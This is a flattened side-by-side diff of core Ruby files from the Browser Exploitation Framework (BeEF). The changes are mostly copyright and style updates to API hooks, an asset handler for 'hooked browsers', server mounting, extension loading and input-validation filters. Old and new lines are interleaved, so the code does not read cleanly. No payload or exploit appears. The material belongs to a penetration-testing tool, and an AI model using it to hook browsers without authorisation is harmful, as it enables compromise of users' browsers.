# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Configuration module Configuration
# @note Defined API Paths
# @note Defined API Paths API_PATHS = {
API_PATHS = {
'module_configuration_load' => :module_configuration_load 'module_configuration_load' => :module_configuration_load
} }.freeze
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
# Fires just after module configuration is loaded and merged
# @param [String] mod module key
def module_configuration_load(mod); end
end
end end
end
end end

View File

@@ -1,21 +1,18 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Migration module Migration
# @note Defined API Paths
# @note Defined API Paths API_PATHS = {
API_PATHS = {
'migrate_commands' => :migrate_commands 'migrate_commands' => :migrate_commands
} }.freeze
# Fired just after the migration process # Fired just after the migration process
def migrate_commands; end def migrate_commands; end
end
end end
end
end end

View File

@@ -1,36 +1,34 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module NetworkStack module NetworkStack
module Handlers module Handlers
module AssetHandler module AssetHandler
# Binds a file to be accessible by the hooked browser
# @param [String] file file to be served
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used
# @param [String] extension to be used in the URL
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit)
# @return [String] URL bound to the specified file
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.bind(file, path = nil, extension = nil, count = -1)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end
# Binds a file to be accessible by the hooked browser # Unbinds a file made accessible to hooked browsers
# @param [String] file file to be served # @param [String] url the bound URL
# @param [String] path URL path to be bound, if no path is specified a randomly generated one will be used # @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @param [String] extension to be used in the URL # @note This is a direct API call and does not have to be registered to be used
# @param [Integer] count amount of times the file can be accessed before being automatically unbound. (-1 = no limit) def self.unbind(url)
# @return [String] URL bound to the specified file BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
# @todo Add hooked browser parameter to only allow specified hooked browsers access to the bound URL. Waiting on Issue #336 end
# @note This is a direct API call and does not have to be registered to be used end
def self.bind(file, path=nil, extension=nil, count=-1) end
return BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)
end end
end
# Unbinds a file made accessible to hooked browsers
# @param [String] url the bound URL
# @todo Add hooked browser parameter to only unbind specified hooked browsers binds. Waiting on Issue #336
# @note This is a direct API call and does not have to be registered to be used
def self.unbind(url)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind(url)
end
end
end
end
end
end end

View File

@@ -1,43 +1,40 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Server module Server
# @note Defined API Paths
# @note Defined API Paths API_PATHS = {
API_PATHS = {
'mount_handler' => :mount_handler, 'mount_handler' => :mount_handler,
'pre_http_start' => :pre_http_start 'pre_http_start' => :pre_http_start
} }.freeze
# Fires just before the HTTP Server is started
# @param [Object] http_hook_server HTTP Server object
def pre_http_start(http_hook_server); end
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler # Fires just before the HTTP Server is started
# @param [String] url URL to be unmounted # @param [Object] http_hook_server HTTP Server object
# @note This is a direct API call and does not have to be registered to be used def pre_http_start(http_hook_server); end
def self.unmount(url)
# Fires just after handlers have been mounted
# @param [Object] server HTTP Server object
def mount_handler(server); end
# Mounts a handler
# @param [String] url URL to be mounted
# @param [Class] http_handler_class the handler Class
# @param [Array] args an array of arguments
# @note This is a direct API call and does not have to be registered to be used
def self.mount(url, http_handler_class, args = nil)
BeEF::Core::Server.instance.mount(url, http_handler_class, *args)
end
# Unmounts a handler
# @param [String] url URL to be unmounted
# @note This is a direct API call and does not have to be registered to be used
def self.unmount(url)
BeEF::Core::Server.instance.unmount(url) BeEF::Core::Server.instance.unmount(url)
end
end end
end
end
end
end end

View File

@@ -1,24 +1,21 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Server module Server
module Hook module Hook
# @note Defined API Paths
API_PATHS = {
'pre_hook_send' => :pre_hook_send
}.freeze
# @note Defined API Paths # Fires just before the hook is sent to the hooked browser
API_PATHS = { # @param [Class] handler the associated handler Class
'pre_hook_send' => :pre_hook_send def pre_hook_send(handler); end
} end
end
# Fires just before the hook is sent to the hooked browser
# @param [Class] handler the associated handler Class
def pre_hook_send(handler); end
end end
end
end
end end

View File

@@ -1,26 +1,24 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Command module Command
end end
module Module module Module
# @note Defined API Paths # @note Defined API Paths
API_PATHS = { API_PATHS = {
'pre_soft_load' => :pre_soft_load, 'pre_soft_load' => :pre_soft_load,
'post_soft_load' => :post_soft_load, 'post_soft_load' => :post_soft_load,
'pre_hard_load' => :pre_hard_load, 'pre_hard_load' => :pre_hard_load,
'post_hard_load' => :post_hard_load, 'post_hard_load' => :post_hard_load,
'get_options' => :get_options, 'get_options' => :get_options,
'get_payload_options' => :get_payload_options, 'get_payload_options' => :get_payload_options,
'override_execute' => :override_execute 'override_execute' => :override_execute
} }.freeze
# Fired before a module soft load # Fired before a module soft load
# @param [String] mod module key of module about to be soft loaded # @param [String] mod module key of module about to be soft loaded
@@ -54,8 +52,6 @@ module BeEF
# @return [Hash] a hash of options # @return [Hash] a hash of options
# @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned. # @note the option hash is merged with all other API hook's returned hash. Hooking this API method prevents the default options being returned.
def get_payload_options; end def get_payload_options; end
end end
end end
end end

View File

@@ -1,22 +1,18 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module API module API
module Modules module Modules
# @note Defined API Paths # @note Defined API Paths
API_PATHS = { API_PATHS = {
'post_soft_load' => :post_soft_load 'post_soft_load' => :post_soft_load
} }.freeze
# Fires just after all modules are soft loaded # Fires just after all modules are soft loaded
def post_soft_load; end def post_soft_load; end
end end
end end
end end

View File

@@ -1,24 +1,22 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
end end
end end
## @note Include the BeEF router ## @note Include the BeEF router
require 'core/main/router/router' require 'core/main/router/router'
require 'core/main/router/api' require 'core/main/router/api'
require 'core/main/router/error_responses'
## @note Include http server functions for beef ## @note Include http server functions for beef
require 'core/main/server' require 'core/main/server'
require 'core/main/handlers/modules/beefjs' require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/legacybeefjs' require 'core/main/handlers/modules/legacybeefjs'
require 'core/main/handlers/modules/multistagebeefjs'
require 'core/main/handlers/modules/command' require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands' require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers' require 'core/main/handlers/hookedbrowsers'

View File

@@ -1,12 +1,11 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Core module Core
end
end
end end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy # @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
@@ -20,6 +19,7 @@ require 'core/main/models/optioncache'
require 'core/main/models/browserdetails' require 'core/main/models/browserdetails'
require 'core/main/models/rule' require 'core/main/models/rule'
require 'core/main/models/execution' require 'core/main/models/execution'
require 'core/main/models/legacybrowseruseragents'
# @note Include the constants # @note Include the constants
require 'core/main/constants/browsers' require 'core/main/constants/browsers'
@@ -38,4 +38,3 @@ require 'core/main/geoip'
# @note Include the command line parser and the banner printer # @note Include the command line parser and the banner printer
require 'core/main/console/commandline' require 'core/main/console/commandline'
require 'core/main/console/banners' require 'core/main/console/banners'

View File

@@ -1,11 +1,10 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extension module Extension
# Checks to see if extension is set inside the configuration # Checks to see if extension is set inside the configuration
# @param [String] ext the extension key # @param [String] ext the extension key
# @return [Boolean] whether or not the extension exists in BeEF's configuration # @return [Boolean] whether or not the extension exists in BeEF's configuration
@@ -15,9 +14,10 @@ module BeEF
# Checks to see if extension is enabled in configuration # Checks to see if extension is enabled in configuration
# @param [String] ext the extension key # @param [String] ext the extension key
# @return [Boolean] whether or not the extension is enabled # @return [Boolean] whether or not the extension is enabled
def self.is_enabled(ext) def self.is_enabled(ext)
return false unless is_present(ext) return false unless is_present(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
end end
@@ -26,10 +26,11 @@ module BeEF
# @return [Boolean] whether or not the extension is loaded # @return [Boolean] whether or not the extension is loaded
def self.is_loaded(ext) def self.is_loaded(ext)
return false unless is_enabled(ext) return false unless is_enabled(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
end end
# Loads an extension # Loads an extension
# @param [String] ext the extension key # @param [String] ext the extension key
# @return [Boolean] whether or not the extension loaded successfully # @return [Boolean] whether or not the extension loaded successfully
def self.load(ext) def self.load(ext)
@@ -41,7 +42,7 @@ module BeEF
end end
print_error "Unable to load extension '#{ext}'" print_error "Unable to load extension '#{ext}'"
false false
rescue => e rescue StandardError => e
print_error "Unable to load extension '#{ext}':" print_error "Unable to load extension '#{ext}':"
print_more e.message print_more e.message
end end

View File

@@ -1,16 +1,15 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Extensions module Extensions
# Returns configuration of all enabled extensions # Returns configuration of all enabled extensions
# @return [Array] an array of extension configuration hashes that are enabled # @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled def self.get_enabled
BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true } BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['enable'] == true }
rescue => e rescue StandardError => e
print_error "Failed to get enabled extensions: #{e.message}" print_error "Failed to get enabled extensions: #{e.message}"
print_error e.backtrace print_error e.backtrace
end end
@@ -18,8 +17,8 @@ module BeEF
# Returns configuration of all loaded extensions # Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded # @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded def self.get_loaded
BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true } BeEF::Core::Configuration.instance.get('beef.extension').select { |_k, v| v['loaded'] == true }
rescue => e rescue StandardError => e
print_error "Failed to get loaded extensions: #{e.message}" print_error "Failed to get loaded extensions: #{e.message}"
print_error e.backtrace print_error e.backtrace
end end
@@ -28,12 +27,12 @@ module BeEF
# @note API fire for post_load # @note API fire for post_load
def self.load def self.load
BeEF::Core::Configuration.instance.load_extensions_config BeEF::Core::Configuration.instance.load_extensions_config
self.get_enabled.each { |k,v| get_enabled.each do |k, _v|
BeEF::Extension.load k BeEF::Extension.load k
} end
# API post extension load # API post extension load
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load' BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
rescue => e rescue StandardError => e
print_error "Failed to load extensions: #{e.message}" print_error "Failed to load extensions: #{e.message}"
print_error e.backtrace print_error e.backtrace
end end

View File

@@ -1,11 +1,10 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Filters module Filters
end end
end end

View File

@@ -1,199 +1,214 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Filters module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false unless str.is_a? String
return false if str.empty?
# Check if the string is not empty and not nil true
# @param [String] str String for testing end
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str) # Check if only the characters in 'chars' are in 'str'
return false if str.nil? # @param [String] chars List of characters to match
return false unless str.is_a? String # @param [String] str String for testing
return false if str.empty? # @return [Boolean] Whether or not the only characters in str are specified in chars
true def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
!regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null?(str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
!only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
!(str =~ /^\d+\.\d+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
!(str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?('a-zA-Z0-9', str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
if case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end
true
else
false
end
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null? (str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false unless is_non_empty_string?(str)
not only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false unless is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false unless is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
# @param [String] ip string to be tested
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
# @return [Boolean] true if the string is a valid IP address, otherwise false
#
# @overload self.is_valid_ip?(ip)
# Checks if the given string is either a valid IPv4 or IPv6 address
# @param [String] ip string to be tested
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
def self.is_valid_ip?(ip, version = :both)
return false unless is_non_empty_string?(ip)
valid = case version.inspect.downcase
when /^:ipv4$/
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
when /^:ipv6$/
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,7}:|
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
:((:[0-9a-f]{1,4}){1,7}|:)|
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
::(ffff(:0{1,4}){0,1}:){0,1}
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
([0-9a-f]{1,4}:){1,4}:
((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
when /^:both$/
is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
end ? true : false
valid
end
# Checks if the given string is a valid private IP address
# @param [String] ip string for testing
# @return [Boolean] true if the string is a valid private IP address, otherwise false
# @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
def self.is_valid_private_ip?(ip)
return false unless is_valid_ip?(ip)
return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name
# @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name
# @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
def self.is_valid_domain?(domain)
return false unless is_non_empty_string?(domain)
return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
false
end
# Check for valid browser details characters
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser details characters
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_browser_details_chars?(str)
return false unless is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?
end
# Check for valid base details characters
# @param [String] str String for testing
# @return [Boolean] If the string has only valid base characters
# @note This is for basic filtering where possible all specific filters must be implemented
# @note This function passes the \302\256 character which translates to the registered symbol (r)
def self.has_valid_base_chars?(str)
return false unless is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil?
end
# Verify the yes and no is valid
# @param [String] str String for testing
# @return [Boolean] If the string is either 'yes' or 'no'
def self.is_valid_yes_no?(str)
return false if has_non_printable_char?(str)
return false if str !~ /\A(Yes|No)\z/i
true
end
end
end end

View File

@@ -1,151 +1,162 @@
# #
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com # Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
module BeEF module BeEF
module Filters module Filters
# Check the browser type value - for example, 'FF'
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false unless has_valid_browser_details_chars?(str)
# Check the browser type value - for example, 'FF' true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid browser name characters
def self.is_valid_browsername?(str)
return false unless is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
# Check the Operating System name value - for example, 'Windows XP' # Check the Operating System name value - for example, 'Windows XP'
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid Operating System name characters # @return [Boolean] If the string has valid Operating System name characters
def self.is_valid_osname?(str) def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix
return false unless is_non_empty_string?(str) return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str) return false unless has_valid_browser_details_chars?(str)
return false if str.length < 2 return false if str.length < 2
true
end
# Check the Hardware name value - for example, 'iPhone' true
# @param [String] str String for testing end
# @return [Boolean] If the string has valid Hardware name characters
def self.is_valid_hwname?(str)
return false unless is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# Verify the browser version string is valid # Check the Hardware name value - for example, 'iPhone'
# @param [String] str String for testing # @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters # @return [Boolean] If the string has valid Hardware name characters
